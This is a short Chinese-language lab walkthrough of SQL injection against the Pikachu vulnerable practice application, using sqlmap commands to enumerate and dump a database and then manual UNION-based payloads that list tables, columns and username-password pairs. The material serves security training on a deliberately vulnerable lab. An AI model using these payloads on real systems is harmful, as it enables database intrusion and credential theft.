皮卡丘(pikachu)SQL注入(手工和工具举例)

我们以数字型(使用sqlmap)和整数型(使用手工注入)举一个例子

数字型注入(POST)

我们使用了sqlmap

选择1点击查询并抓包

将抓下来的数据全部复制在一个记事本里,命名为1.txt

使用命令 python sqlmap.py –r 111.txt –current-db

爆出数据库:pikachu

之后爆破表:python sqlmap.py –r 111.txt –D pikachu -tables

爆出表

在之后找一个表去爆列名

python sqlmap.py -r 111.txt -D pikachu -T users –columns

爆出列名

最后爆出列名字段的值数据

python sqlmap.py –r 111.txt –D pikachu –T username –C username –dump

爆出数据

这里只是爆了一个表中的一点内容,没有把所有数据全部爆出来。

字符型注入(Get)

这次我们使用手工注入

输入一个kobe试试

首先我们判断一下是否有注入点,输入kobe’ or 1=1

报错了证明可以执行sql语句

输入kobe’ and 1=1# 可以爆出数据

使用order by

aaa' order by 1#

aaa' order by 2#

aaa' order by 3#

aaa' order by 4#

得知查询结果列数为3

之后使用联合查询查询数据库名,用户名(我这里是三列所以加了version)

a'union select database(),user(),version()#

得到数据库名之后,我们可以把表爆出来

kobe' union select database(),group_concat(table_name),version()from information_schema.tables where table_schema=database() #

爆出表之后我们再去爆列

kobe' union select database(),group_concat(column_name),version() from information_schema.columns where table_schema=database() and table_name='users' #

爆出列,最后爆值

kobe' union select database(),group_concat(username,'~',password),version() from pikachu.users#

注:我的pikachu是三列,所以直接用我的sql命令有可能出现报错情况,是因为列数错误

可改为两列试一试(把version删掉就可以了)